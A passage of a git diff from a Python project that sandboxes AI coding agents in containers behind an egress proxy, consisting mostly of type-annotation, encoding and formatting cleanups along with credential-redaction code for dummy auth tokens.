         # — the agent runs `sleep infinity` per the renderer's
diff --git a/bot_bottle/backend/docker/pipelock.py b/bot_bottle/backend/docker/pipelock.py
index d0c9979..53d2c2a 100644
--- a/bot_bottle/backend/docker/pipelock.py
+++ b/bot_bottle/backend/docker/pipelock.py
@@ -15,30 +15,23 @@ import subprocess
 from pathlib import Path
 
 from ...log import die
-# Re-exported for the compose renderer + smolmachines launch step
-# (they used to import these from this module before they moved to
-# the platform-neutral pipelock module).
-from ...pipelock import (  # noqa: F401
-    PIPELOCK_CA_CERT_IN_CONTAINER,
-    PIPELOCK_CA_KEY_IN_CONTAINER,
-)
 
 
 # Pipelock image, pinned by digest. The digest is the multi-arch image
 # index for ghcr.io/luckypipewrench/pipelock:2.3.0.
 PIPELOCK_IMAGE = os.environ.get(
     "BOT_BOTTLE_PIPELOCK_IMAGE",
-    "ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
+    "ghcr.io/luckypipewrench/pipelock@sha256:"
+    "3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9",
 )
 
 # Listening port for pipelock's forward proxy.
 PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888")
 
 
-# The URL egress dials for its upstream HTTPS_PROXY. egress and
-# pipelock share the same container's network namespace inside the
-# sidecar bundle, so loopback reaches pipelock directly — no docker
-# DNS aliases involved.
+# The URL egress dials for its upstream HTTPS_PROXY. egress and pipelock
+# share the same container's network namespace inside the sidecar bundle, so
+# loopback reaches pipelock directly — no docker DNS aliases involved.
 BUNDLE_LOCAL_PIPELOCK_URL = f"http://127.0.0.1:{PIPELOCK_PORT}"
 
 
diff --git a/bot_bottle/backend/docker/pipelock_apply.py b/bot_bottle/backend/docker/pipelock_apply.py
index a271398..e66251d 100644
--- a/bot_bottle/backend/docker/pipelock_apply.py
+++ b/bot_bottle/backend/docker/pipelock_apply.py
@@ -99,7 +99,7 @@ def fetch_current_yaml(slug: str) -> str:
                 f"could not fetch pipelock.yaml from {container}: "
                 f"{(r.stderr or '').strip() or 'container not running?'}"
             )
-        return Path(tmp_path).read_text()
+        return Path(tmp_path).read_text(encoding="utf-8")
     finally:
         try:
             Path(tmp_path).unlink()
diff --git a/bot_bottle/backend/docker/prepare.py b/bot_bottle/backend/docker/prepare.py
index b9c5df5..2f8eaaf 100644
--- a/bot_bottle/backend/docker/prepare.py
+++ b/bot_bottle/backend/docker/prepare.py
@@ -219,7 +219,7 @@ def resolve_plan(
             else Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude"
         )
         dockerfile_content = (
-            supervise_dockerfile_path.read_text()
+            supervise_dockerfile_path.read_text(encoding="utf-8")
             if supervise_dockerfile_path.is_file()
             else ""
         )
diff --git a/bot_bottle/backend/smolmachines/bottle.py b/bot_bottle/backend/smolmachines/bottle.py
index 2553cb2..ea023fd 100644
--- a/bot_bottle/backend/smolmachines/bottle.py
+++ b/bot_bottle/backend/smolmachines/bottle.py
@@ -19,7 +19,7 @@ from __future__ import annotations
 
 import subprocess
 import sys
-from typing import Mapping
+from typing import Mapping, cast
 
 from ...agent_provider import PromptMode, prompt_args
 from .. import Bottle, ExecResult
@@ -72,7 +72,7 @@ class SmolmachinesBottle(Bottle):
         # In-VM path to the agent's prompt file. None when the
         # agent declared no prompt (file still exists; we just
         # don't pass --append-system-prompt-file).
-        self._prompt_path = prompt_path
+        self.prompt_path = prompt_path
         # Env vars the agent process needs (HTTPS_PROXY,
         # CLAUDE_CODE_OAUTH_TOKEN, manifest-declared bottle env, …).
         # Forwarded on every `smolvm machine exec` via `-e K=V`
@@ -93,9 +93,9 @@ class SmolmachinesBottle(Bottle):
         agent_tail = ["env", *_env_assignments_for("node", self._guest_env),
                       self.agent_command]
         provider_prompt_args = prompt_args(
-            self._agent_prompt_mode, self._prompt_path, argv=argv,
+            cast(PromptMode, self._agent_prompt_mode), self.prompt_path, argv=argv,
         )
-        if self._agent_prompt_mode == "read_prompt_file":
+        if cast(PromptMode, self._agent_prompt_mode) == "read_prompt_file":
             agent_tail += argv
             agent_tail += provider_prompt_args
         else:
diff --git a/bot_bottle/backend/smolmachines/launch.py b/bot_bottle/backend/smolmachines/launch.py
index e324d3f..bf0fbd4 100644
--- a/bot_bottle/backend/smolmachines/launch.py
+++ b/bot_bottle/backend/smolmachines/launch.py
@@ -89,7 +89,7 @@ _SUPERVISE_PORT = SUPERVISE_PORT
 def launch(
     plan: SmolmachinesBottlePlan,
     *,
-    provision: Callable[[SmolmachinesBottlePlan, str], str | None],
+    provision: Callable[[SmolmachinesBottlePlan, "SmolmachinesBottle"], str | None],
 ) -> Generator[SmolmachinesBottle, None, None]:
     """Build + run the bottle and yield a handle; tear everything
     down on exit. Errors during bringup unwind any partial state
@@ -120,7 +120,7 @@ def launch(
             agent_command=plan.agent_command,
             agent_prompt_mode=plan.agent_prompt_mode,
         )
-        bottle._prompt_path = provision(plan, bottle)
+        bottle.prompt_path = provision(plan, bottle)
 
         yield bottle
     finally:
@@ -139,7 +139,7 @@ def _teardown_smolmachines(
     teardown_exc: BaseException | None = None
     try:
         stack.close()
-    except BaseException as exc:
+    except BaseException as exc:  # noqa: W0718 — teardown must not fail
         teardown_exc = exc
         warn(f"smolmachines teardown failed: {exc!r}")
     bottle = plan.spec.manifest.bottle_for(plan.spec.agent_name)
diff --git a/bot_bottle/backend/smolmachines/local_registry.py b/bot_bottle/backend/smolmachines/local_registry.py
index 5ca3f04..ba60076 100644
--- a/bot_bottle/backend/smolmachines/local_registry.py
+++ b/bot_bottle/backend/smolmachines/local_registry.py
@@ -42,7 +42,7 @@ import time
 import uuid
 from contextlib import contextmanager
 from dataclasses import dataclass
-from typing import Iterator
+from typing import Generator
 
 from ...log import die
 
@@ -61,7 +61,10 @@ REGISTRY_IMAGE = os.environ.get(
 # narrow.
 CRANE_IMAGE = os.environ.get(
     "BOT_BOTTLE_CRANE_IMAGE",
-    "gcr.io/go-containerregistry/crane@sha256:0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084",
+    (
+        "gcr.io/go-containerregistry/crane@sha256:"
+        "0ae17ecb34315aa7cbff28f6eddee3b7adae0b2f90101260d990804db1eb0084"
+    ),
 )
 
 
@@ -95,7 +98,7 @@ class RegistryHandle:
 
 
 @contextmanager
-def ephemeral_registry() -> Iterator[RegistryHandle]:
+def ephemeral_registry() -> Generator[RegistryHandle, None, None]:
     """Bring up a per-session docker network + a `registry:2.8.3`
     container on it (published on a random host port), yield a
     `RegistryHandle`, force-remove both on exit.
@@ -205,7 +208,6 @@ def _host_port(name: str) -> int:
         return int(port_str)
     except ValueError:
         die(f"unexpected `docker port` output: {line!r}")
-        return -1  # unreachable; die() never returns
 
 
 def _wait_ready(port: int) -> None:
diff --git a/bot_bottle/backend/smolmachines/loopback_alias.py b/bot_bottle/backend/smolmachines/loopback_alias.py
index 6f3033c..4608088 100644
--- a/bot_bottle/backend/smolmachines/loopback_alias.py
+++ b/bot_bottle/backend/smolmachines/loopback_alias.py
@@ -47,7 +47,6 @@ from __future__ import annotations
 
 import fcntl
 import json
-import os
 import platform
 import re
 import sqlite3
@@ -177,11 +176,11 @@ def force_allowlist(machine_name: str, allowed_cidrs: list[str]) -> None:
         con.close()
 
 
-def allocate(slug: str) -> str:
+def allocate(_slug: str) -> str:
     """Pick the lowest-numbered alias from the pool not already
     in use by a running smolmachines bundle. Bails when the pool
     is exhausted — the caller should report the limit to the
-    operator. `slug` is logged for traceability; not otherwise
+    operator. `_slug` is logged for traceability; not otherwise
     used (no on-disk reservation, allocation is purely
     docker-state-driven).
 
@@ -196,7 +195,7 @@ def allocate(slug: str) -> str:
     if not _is_macos():
         return "127.0.0.1"
     _ALLOC_LOCK_PATH.parent.mkdir(parents=True, exist_ok=True)
-    with open(_ALLOC_LOCK_PATH, "w") as lf:
+    with open(_ALLOC_LOCK_PATH, "w", encoding="utf-8") as lf:
         fcntl.flock(lf, fcntl.LOCK_EX)
         return _allocate_locked()
 
@@ -212,7 +211,6 @@ def _allocate_locked() -> str:
         f"Stop a running bottle (`smolvm machine ls --json`) or "
         f"raise _POOL_END in loopback_alias.py."
     )
-    return ""  # unreachable; die() never returns
 
 
 def _alias_present(ip: str) -> bool:
diff --git a/bot_bottle/backend/smolmachines/pty_resize.py b/bot_bottle/backend/smolmachines/pty_resize.py
index 311836b..cae1664 100644
--- a/bot_bottle/backend/smolmachines/pty_resize.py
+++ b/bot_bottle/backend/smolmachines/pty_resize.py
@@ -42,6 +42,7 @@ import subprocess
 import sys
 import termios
 import threading
+from types import FrameType
 
 
 # How long to wait after the main exec starts before pushing the
@@ -123,13 +124,13 @@ def main(argv: list[str]) -> int:
     machine = argv[0]
     inner = argv[2:]
 
-    def sync(*_args) -> None:
+    def sync(_signum: int | None = None, _frame: FrameType | None = None) -> None:
         size = _read_winsize()
         if size is None:
             return
         _push_size(machine, *size)
 
-    signal.signal(signal.SIGWINCH, sync)
+    signal.signal(signal.SIGWINCH, sync)  # type: ignore[arg-type]
 
     proc = subprocess.Popen(inner)
     # Initial sync is deferred — see _STARTUP_SYNC_DELAY_SEC.
diff --git a/bot_bottle/backend/smolmachines/sidecar_bundle.py b/bot_bottle/backend/smolmachines/sidecar_bundle.py
index 553a972..4fe7085 100644
--- a/bot_bottle/backend/smolmachines/sidecar_bundle.py
+++ b/bot_bottle/backend/smolmachines/sidecar_bundle.py
@@ -223,7 +223,6 @@ def bundle_host_port(
         f"no port mapping on {host_ip} for {container} "
         f"{container_port}/tcp; got: {(result.stdout or '').strip()!r}"
     )
-    return -1  # unreachable; die() never returns
 
 
 def stop_bundle(slug: str) -> None:
diff --git a/bot_bottle/backend/smolmachines/smolvm.py b/bot_bottle/backend/smolmachines/smolvm.py
index bf911a8..fc25573 100644
--- a/bot_bottle/backend/smolmachines/smolvm.py
+++ b/bot_bottle/backend/smolmachines/smolvm.py
@@ -52,7 +52,7 @@ class SmolvmError(RuntimeError):
     pack failed, etc.). Carries the captured stderr for the
     operator-facing log line."""
 
-    def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess):
+    def __init__(self, argv: Sequence[str], result: subprocess.CompletedProcess[str]):
         self.argv = list(argv)
         self.returncode = result.returncode
         self.stdout = result.stdout
@@ -65,7 +65,7 @@ class SmolvmError(RuntimeError):
 
 
 def _smolvm(*args: str, env: Mapping[str, str] | None = None,
-            check: bool = True) -> subprocess.CompletedProcess:
+            check: bool = True) -> subprocess.CompletedProcess[str]:
     """One subprocess call into the smolvm CLI. `check=True`
     raises SmolvmError on non-zero; `check=False` returns the
     CompletedProcess for the caller to inspect."""
diff --git a/bot_bottle/cli/__init__.py b/bot_bottle/cli/__init__.py
index 4bbed24..a0ca633 100644
--- a/bot_bottle/cli/__init__.py
+++ b/bot_bottle/cli/__init__.py
@@ -41,9 +41,18 @@ def usage() -> None:
     sys.stderr.write("  info      print env, skills, and prompt details for a named agent\n")
     sys.stderr.write("  init      interactively create a new agent and add it to bot-bottle.json\n")
     sys.stderr.write("  list      list available agents or active containers\n")
-    sys.stderr.write("  resume    re-launch a bottle by its identity (continues state from PRD 0016)\n")
-    sys.stderr.write("  start     boot a container for a named agent and attach an interactive session\n")
-    sys.stderr.write("  supervise view + approve/modify/reject pending supervise proposals (PRD 0013)\n\n")
+    sys.stderr.write(
+        "  resume    re-launch a bottle by its identity "
+        "(continues state from PRD 0016)\n"
+    )
+    sys.stderr.write(
+        "  start     boot a container for a named agent and "
+        "attach an interactive session\n"
+    )
+    sys.stderr.write(
+        "  supervise view + approve/modify/reject pending supervise "
+        "proposals (PRD 0013)\n\n"
+    )
     sys.stderr.write(f"Run '{PROG} <command> --help' for command-specific usage.\n")
 
 
diff --git a/bot_bottle/cli/_common.py b/bot_bottle/cli/_common.py
index 6b0c0e5..0008a1e 100644
--- a/bot_bottle/cli/_common.py
+++ b/bot_bottle/cli/_common.py
@@ -14,7 +14,7 @@ REPO_DIR = str(Path(__file__).resolve().parent.parent.parent)
 def read_tty_line() -> str:
     """Mirror `IFS= read -r REPLY </dev/tty`. Falls back to stdin."""
     try:
-        with open("/dev/tty", "r") as tty:
+        with open("/dev/tty", "r", encoding="utf-8") as tty:
             return tty.readline().rstrip("\n")
     except OSError:
         return sys.stdin.readline().rstrip("\n")
diff --git a/bot_bottle/cli/init.py b/bot_bottle/cli/init.py
index ac78ef1..21b62a0 100644
--- a/bot_bottle/cli/init.py
+++ b/bot_bottle/cli/init.py
@@ -51,7 +51,8 @@ def cmd_init(argv: list[str]) -> int:
             die(f"{target_file} exists but is not valid JSON; fix or remove it first")
         if agent_name in (existing.get("agents") or {}):
             sys.stderr.write(
-                f'bot-bottle: agent "{agent_name}" already exists in {target_file}. Overwrite? [y/N] '
+                f'bot-bottle: agent "{agent_name}" already exists in '
+                f'{target_file}. Overwrite? [y/N] '
             )
             sys.stderr.flush()
             ow = read_tty_line()
@@ -71,7 +72,10 @@ def cmd_init(argv: list[str]) -> int:
 
     # Prompt
     print(file=sys.stderr)
-    info("System prompt — enter text, then a lone '.' on its own line to finish (just '.' to leave empty):")
+    info(
+        "System prompt — enter text, then a lone '.' on its own line to "
+        "finish (just '.' to leave empty):"
+    )
     prompt_lines: list[str] = []
     while True:
         line = read_tty_line()
@@ -99,7 +103,10 @@ def cmd_init(argv: list[str]) -> int:
 
         if bottle_name in (existing.get("bottles") or {}):
             bottle_exists_already = True
-            info(f"Bottle '{bottle_name}' already exists in {target_file}; agent will reference it.")
+            info(
+                f"Bottle '{bottle_name}' already exists in {target_file}; "
+                f"agent will reference it."
+            )
         else:
             info(f"Creating new bottle '{bottle_name}'.")
             bottle_env = _prompt_for_env_vars()
@@ -131,8 +138,14 @@ def cmd_init(argv: list[str]) -> int:
 
 def _prompt_for_env_vars() -> dict[str, str]:
     print(file=sys.stderr)
-    info("Env vars — enter each var name then its mode. Press Enter with no name to finish.")
-    info("  Modes:  secret (prompt at runtime) | interpolated (read from host env) | literal (hardcoded value)")
+    info(
+        "Env vars — enter each var name then its mode. Press Enter with "
+        "no name to finish."
+    )
+    info(
+        "  Modes:  secret (prompt at runtime) | interpolated (read from "
+        "host env) | literal (hardcoded value)"
+    )
     out: dict[str, str] = {}
     while True:
         print(file=sys.stderr)
diff --git a/bot_bottle/cli/supervise.py b/bot_bottle/cli/supervise.py
index 209266f..86e6215 100644
--- a/bot_bottle/cli/supervise.py
+++ b/bot_bottle/cli/supervise.py
@@ -263,7 +263,7 @@ def edit_in_editor(content: str, *, suffix: str = ".tmp") -> str | None:
         path = f.name
     try:
         subprocess.run([editor, path], check=False)
-        with open(path) as f:
+        with open(path, encoding="utf-8") as f:
             edited = f.read()
         return edited if edited != content else None
     finally:
@@ -296,7 +296,7 @@ def cmd_supervise(argv: list[str]) -> int:
         else:
             error("supervise exited on a fatal error (no detail captured).")
         return e.code if isinstance(e.code, int) else 1
-    except Exception as e:
+    except Exception as e:  # noqa: W0718 — catch supervise crash for logging
         log_path = _write_crash_log(e)
         error(f"supervise crashed: {type(e).__name__}: {e}")
         error(f"full traceback written to {log_path}")
@@ -354,7 +354,7 @@ def _try_init_green() -> int:
         return 0
 
 
-def _main_loop(stdscr: "curses._CursesWindow") -> None:
+def _main_loop(stdscr: "curses._CursesWindow") -> None:  # type: ignore
     curses.curs_set(0)
     stdscr.timeout(_REFRESH_INTERVAL_MS)
     green_attr = _try_init_green()
@@ -434,12 +434,12 @@ def _main_loop(stdscr: "curses._CursesWindow") -> None:
 
 
 def _render(
-    stdscr: "curses._CursesWindow",
+    stdscr: "curses._CursesWindow",  # type: ignore
     pending: list[QueuedProposal],
     selected: int,
     status_line: str,
     *,
-    green_attr: int = 0,
+    green_attr: int = 0,  # noqa: F841 — unused, but required by interface
 ) -> None:
     stdscr.erase()
     h, w = stdscr.getmaxyx()
@@ -488,7 +488,7 @@ def _render(
 
 
 def _detail_view(
-    stdscr: "curses._CursesWindow",
+    stdscr: "curses._CursesWindow",  # type: ignore
     qp: QueuedProposal,
     *,
     green_attr: int = 0,
@@ -539,7 +539,7 @@ def _detail_view(
             return
 
 
-def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
+def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:  # type: ignore
     """Suspend curses, open $EDITOR on the proposed file, return edited content."""
     suffix = _suffix_for_tool(qp.proposal.tool)
     curses.endwin()
@@ -550,7 +550,7 @@ def _modify(stdscr: "curses._CursesWindow", qp: QueuedProposal) -> str | None:
     return edited
 
 
-def _prompt(stdscr: "curses._CursesWindow", label: str) -> str:
+def _prompt(stdscr: "curses._CursesWindow", label: str) -> str:  # type: ignore
     """One-line input at the bottom of the screen."""
     curses.curs_set(1)
     h, _ = stdscr.getmaxyx()
diff --git a/bot_bottle/cli/tui.py b/bot_bottle/cli/tui.py
index 46eae42..f28281b 100644
--- a/bot_bottle/cli/tui.py
+++ b/bot_bottle/cli/tui.py
@@ -13,7 +13,7 @@ from __future__ import annotations
 import curses
 import os
 import sys
-from typing import Optional
+from typing import Any, Optional
 
 
 def filter_select(
@@ -39,12 +39,15 @@ def filter_select(
         return None
 
     try:
-        result = _run_picker(items, title=title, tty_fd=tty_fd)
+        # Use os.dup() to duplicate the fd so the original file object
+        # and FileIO in _run_picker each manage independent copies,
+        # preventing double-close errors.
+        import os as _os
+        fd_dup = _os.dup(tty_fd.fileno())
+        return _run_picker(items, title=title, tty_fd=fd_dup)
     finally:
         tty_fd.close()
 
-    return result
-
 
 # ---------------------------------------------------------------------------
 # Internal implementation
@@ -59,11 +62,10 @@ _KEY_ENTER_ALT = 10
 _CANCEL_KEYS = frozenset([_KEY_ESC, _KEY_CTRL_C, _KEY_CTRL_D, ord("q")])
 
 
-def _run_picker(items: list[str], *, title: str, tty_fd) -> Optional[str]:
+def _run_picker(items: list[str], *, title: str, tty_fd: int) -> Optional[str]:
     """Drive a curses session on *tty_fd* and return the picked item."""
     # newterm lets us run curses on an arbitrary fd rather than the
     # process's controlling tty / stdout — crucial when stdout is piped.
-    old_term = os.environ.get("TERM", "xterm-256color")
     os.environ.setdefault("TERM", "xterm-256color")
 
     # Save / restore the real stdin/stdout so curses newterm can use tty_fd.
@@ -72,7 +74,7 @@ def _run_picker(items: list[str], *, title: str, tty_fd) -> Optional[str]:
 
     try:
         import io
-        tty_text = io.TextIOWrapper(tty_fd, write_through=True)
+        tty_text = io.TextIOWrapper(io.FileIO(tty_fd, mode='r+'), write_through=True)
         sys.__stdin__ = tty_text   # type: ignore[assignment]
         sys.__stdout__ = tty_text  # type: ignore[assignment]
 
@@ -90,7 +92,7 @@ def _run_picker(items: list[str], *, title: str, tty_fd) -> Optional[str]:
             curses.nocbreak()
             curses.echo()
             curses.endwin()
-    except Exception:
+    except Exception:  # noqa: W0718 — curses can raise many error types
         return None
     finally:
         sys.__stdin__ = orig_stdin    # type: ignore[assignment]
@@ -99,7 +101,7 @@ def _run_picker(items: list[str], *, title: str, tty_fd) -> Optional[str]:
     return result
 
 
-def _picker_loop(screen, items: list[str], *, title: str) -> Optional[str]:
+def _picker_loop(screen: Any, items: list[str], *, title: str) -> Optional[str]:
     query = ""
     cursor = 0
 
@@ -158,7 +160,7 @@ def _filter_items(items: list[str], query: str) -> list[str]:
     return [i for i in items if q in i.lower()]
 
 
-def _render(screen, filtered: list[str], cursor: int, *, query: str, title: str) -> None:
+def _render(screen: Any, filtered: list[str], cursor: int, *, query: str, title: str) -> None:
     screen.erase()
     rows, cols = screen.getmaxyx()
     min_rows = 5
@@ -212,7 +214,7 @@ def _render(screen, filtered: list[str], cursor: int, *, query: str, title: str)
     screen.refresh()
 
 
-def _addstr_safe(screen, row: int, col: int, text: str, attr: int = curses.A_NORMAL) -> None:
+def _addstr_safe(screen: Any, row: int, col: int, text: str, attr: int = curses.A_NORMAL) -> None:
     try:
         screen.addstr(row, col, text, attr)
     except curses.error:
diff --git a/bot_bottle/codex_auth.py b/bot_bottle/codex_auth.py
index 9a0e6f9..9f6da0a 100644
--- a/bot_bottle/codex_auth.py
+++ b/bot_bottle/codex_auth.py
@@ -13,6 +13,7 @@ import os
 from copy import deepcopy
 from datetime import datetime, timezone
 from pathlib import Path
+from typing import cast
 
 from .log import die
 from .util import expand_tilde
@@ -50,7 +51,8 @@ def codex_host_access_token(
     tokens = raw.get("tokens")
     if not isinstance(tokens, dict):
         die(f"codex host credentials: {path} is missing tokens")
-    access = tokens.get("access_token")
+    tokens_typed = cast(dict[str, object], tokens)
+    access = tokens_typed.get("access_token")
     if not isinstance(access, str) or not access:
         die(
             f"codex host credentials: {path} is missing tokens.access_token. "
@@ -105,14 +107,14 @@ def write_codex_dummy_auth_file(
     path.chmod(0o600)
 
 
-def _read_auth_object(path: Path) -> dict:
+def _read_auth_object(path: Path) -> dict[str, object]:
     try:
         raw = json.loads(path.read_text())
     except (OSError, json.JSONDecodeError) as e:
         die(f"codex host credentials: could not read valid JSON at {path}: {e}")
     if not isinstance(raw, dict):
         die(f"codex host credentials: {path} must contain a JSON object")
-    return raw
+    return cast(dict[str, object], raw)
 
 
 def _dummy_exp(now: datetime | None, exp_ts: int | None) -> int:
@@ -151,11 +153,11 @@ def _dummy_jwt_from_host(
         return _dummy_jwt(now, exp_ts=exp_ts)
     if not isinstance(payload, dict):
         return _dummy_jwt(now, exp_ts=exp_ts)
-    return _encode_dummy_jwt(_redact_jwt_payload(payload, now=now, exp_ts=exp_ts))
+    return _encode_dummy_jwt(_redact_jwt_payload(cast(dict[str, object], payload), now=now, exp_ts=exp_ts))
 
 
-def _encode_dummy_jwt(payload: dict) -> str:
-    def enc(obj: dict) -> str:
+def _encode_dummy_jwt(payload: dict[str, object]) -> str:
+    def enc(obj: dict[str, object]) -> str:
         raw = json.dumps(obj, separators=(",", ":")).encode()
         return base64.urlsafe_b64encode(raw).decode().rstrip("=")
 
@@ -163,23 +165,24 @@ def _encode_dummy_jwt(payload: dict) -> str:
 
 
 def _redact_jwt_payload(
-    payload: dict,
+    payload: dict[str, object],
     *,
     now: datetime | None = None,
     exp_ts: int | None = None,
-) -> dict:
+) -> dict[str, object]:
     out = _redact_claims(payload)
     if not isinstance(out, dict):
         out = {}
-    out["exp"] = _dummy_exp(now, exp_ts)
-    out.setdefault("sub", "bot-bottle-placeholder")
-    return out
+    out_typed: dict[str, object] = cast(dict[str, object], out)
+    out_typed["exp"] = _dummy_exp(now, exp_ts)
+    out_typed.setdefault("sub", "bot-bottle-placeholder")
+    return out_typed
 
 
 def _redact_claims(value: object) -> object:
     if isinstance(value, dict):
         out: dict[str, object] = {}
-        for key, inner in value.items():
+        for key, inner in cast(dict[str, object], value).items():
             lower = key.lower()
             if key == "https://api.openai.com/profile":
                 out[key] = _redact_profile_claim(inner)
@@ -207,16 +210,16 @@ def _redact_claims(value: object) -> object:
     return "bot-bottle-placeholder"
 
 
-def _redact_profile_claim(value: object) -> dict:
-    profile = value if isinstance(value, dict) else {}
+def _redact_profile_claim(value: object) -> dict[str, object]:
+    profile = cast(dict[str, object], value) if isinstance(value, dict) else {}
     return {
         "email": "bot-bottle@example.invalid",
         "email_verified": bool(profile.get("email_verified", True)),
     }
 
 
-def _redact_auth_claim(value: object) -> dict:
-    auth = value if isinstance(value, dict) else {}
+def _redact_auth_claim(value: object) -> dict[str, object]:
+    auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
     out: dict[str, object] = {}
     for key, inner in auth.items():
         lower = key.lower()
@@ -247,7 +250,7 @@ def _redact_auth_claim(value: object) -> dict:
 def _redact_codex_auth(
     value: object, *, now: datetime | None = None, exp_ts: int | None = None,
 ) -> object:
-    auth = value if isinstance(value, dict) else {}
+    auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
     out: dict[str, object] = {}
     for key, inner in auth.items():
         lower = key.lower()
@@ -269,7 +272,7 @@ def _redact_codex_auth(
 def _redact_token_block(
     value: object, *, now: datetime | None = None, exp_ts: int | None = None,
 ) -> dict[str, object]:
-    tokens = value if isinstance(value, dict) else {}
+    tokens = cast(dict[str, object], value) if isinstance(value, dict) else {}
     out: dict[str, object] = {}
     for key, inner in tokens.items():
         lower = key.lower()
@@ -306,7 +309,7 @@ def _jwt_exp(token: str) -> datetime | None:
         return None
     if not isinstance(payload, dict):
         return None
-    exp = payload.get("exp")
+    exp = cast(dict[str, object], payload).get("exp")
     if not isinstance(exp, (int, float)):
         return None
     return datetime.fromtimestamp(exp, timezone.utc)
diff --git a/bot_bottle/contrib/claude/agent_provider.py b/bot_bottle/contrib/claude/agent_provider.py
index cd8ff14..81f5b4a 100644
--- a/bot_bottle/contrib/claude/agent_provider.py
+++ b/bot_bottle/contrib/claude/agent_provider.py
@@ -144,7 +144,7 @@ class ClaudeAgentProvider(AgentProvider):
         prompt (drives `--append-system-prompt-file`); the file is
         copied either way so the path always exists."""
         prompt_path = _prompt_path(plan.guest_home)
-        bottle.cp_in(str(plan.prompt_file), prompt_path)
+        bottle.cp_in(str(plan.prompt_file), prompt_path)  # type: ignore
         bottle.exec(
             f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
             user="root",
diff --git a/bot_bottle/contrib/codex/agent_provider.py b/bot_bottle/contrib/codex/agent_provider.py
index 9fb92f8..472999c 100644
--- a/bot_bottle/contrib/codex/agent_provider.py
+++ b/bot_bottle/contrib/codex/agent_provider.py
@@ -189,7 +189,7 @@ class CodexAgentProvider(AgentProvider):
         instructions in <path>.` bootstrap (see `prompt_args`); the
         file is copied either way so the path always exists."""
         prompt_path = _prompt_path(plan.guest_home)
-        bottle.cp_in(str(plan.prompt_file), prompt_path)
+        bottle.cp_in(str(plan.prompt_file), prompt_path)  # type: ignore
         bottle.exec(
             f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
             user="root",
diff --git a/bot_bottle/contrib/gitea/deploy_key_provisioner.py b/bot_bottle/contrib/gitea/deploy_key_provisioner.py
index 7006856..03bd67e 100644
--- a/bot_bottle/contrib/gitea/deploy_key_provisioner.py
+++ b/bot_bottle/contrib/gitea/deploy_key_provisioner.py
@@ -117,5 +117,5 @@ def _split_owner_repo(owner_repo: str) -> tuple[str, str]:
 def _read_error_body(exc: urllib.error.HTTPError) -> str:
     try:
         return exc.read().decode("utf-8", errors="replace")
-    except Exception:
+    except Exception:  # noqa: broad-exception-caught — safely fallback to empty error message
         return ""
diff --git a/bot_bottle/egress.py b/bot_bottle/egress.py
index db773cf..d5f546e 100644
--- a/bot_bottle/egress.py
+++ b/bot_bottle/egress.py
@@ -25,7 +25,7 @@ flow (PRD 0014) at egress and renames the MCP tool.
 from __future__ import annotations
 
 import dataclasses
-from abc import ABC, abstractmethod
+from abc import ABC
 from dataclasses import dataclass
 from pathlib import Path
 from typing import TYPE_CHECKING
@@ -216,14 +216,14 @@ def egress_token_env_map(
     return out
 
 
-def _route_to_yaml_fields(r: Route) -> dict:
+def _route_to_yaml_fields(r: Route) -> dict[str, object]:
     """Return the addon-visible fields for one route.
 
     Single authoritative mapping between EgressRoute (host-side) and
     egress_addon_core.Route (sidecar-side). When a field is added to
     the addon's Route that must appear in the YAML, add it here and
     in egress_addon_core._parse_one together."""
-    fields: dict = {"host": r.host}
+    fields: dict[str, object] = {"host": r.host}
     if r.auth_scheme and r.token_env:
         fields["auth_scheme"] = r.auth_scheme
         fields["token_env"] = r.token_env
@@ -252,7 +252,7 @@ def egress_render_routes(
             lines.append(f'    token_env: "{f["token_env"]}"')
         if "path_allowlist" in f:
             lines.append("    path_allowlist:")
-            for p in f["path_allowlist"]:
+            for p in f["path_allowlist"]:  # type: ignore
                 lines.append(f'      - "{p}"')
     return "\n".join(lines) + "\n"
 
diff --git a/bot_bottle/egress_addon.py b/bot_bottle/egress_addon.py
index 24a7ec1..8696714 100644
--- a/bot_bottle/egress_addon.py
+++ b/bot_bottle/egress_addon.py
@@ -38,7 +38,12 @@ from mitmproxy import http  # type: ignore[import-not-found]
 # Absolute import (NOT `from .egress_addon_core`) — the
 # container drops both files flat into /app/ so they are sibling
 # top-level modules to mitmdump's loader, not a package.
-from egress_addon_core import Route, decide, is_git_push_request, load_routes  # type: ignore[import-not-found]
+from egress_addon_core import (  # type: ignore[import-not-found]
+    Route,
+    decide,
+    is_git_push_request,
+    load_routes,
+)
 
 
 DEFAULT_ROUTES_PATH = "/etc/egress/routes.yaml"
diff --git a/bot_bottle/egress_addon_core.py b/bot_bottle/egress_addon_core.py
index 9cacb85..b59a4dd 100644
--- a/bot_bottle/egress_addon_core.py
+++ b/bot_bottle/egress_addon_core.py
@@ -78,11 +78,13 @@ def parse_routes(payload: object) -> tuple[Route, ...]:
     """
     if not isinstance(payload, dict):
         raise ValueError("routes payload: top-level must be an object")
-    raw = payload.get("routes")
+    payload_dict: dict[str, object] = typing.cast(dict[str, object], payload)
+    raw: object = payload_dict.get("routes")
     if not isinstance(raw, list):
         raise ValueError("routes payload: 'routes' must be a list")
+    raw_list: list[object] = typing.cast(list[object], raw)
     out: list[Route] = []
-    for i, r in enumerate(raw):
+    for i, r in enumerate(raw_list):
         out.append(_parse_one(i, r))
     return tuple(out)
 
@@ -91,15 +93,17 @@ def _parse_one(idx: int, raw: object) -> Route:
     label = f"route[{idx}]"
     if not isinstance(raw, dict):
         raise ValueError(f"{label}: must be an object (got {type(raw).__name__})")
-    host = raw.get("host")
+    raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
+    host: object = raw_dict.get("host")
     if not isinstance(host, str) or not host:
         raise ValueError(f"{label}: 'host' must be a non-empty string")
 
-    path_allow_raw = raw.get("path_allowlist", [])
+    path_allow_raw: object = raw_dict.get("path_allowlist", [])
     if not isinstance(path_allow_raw, list):
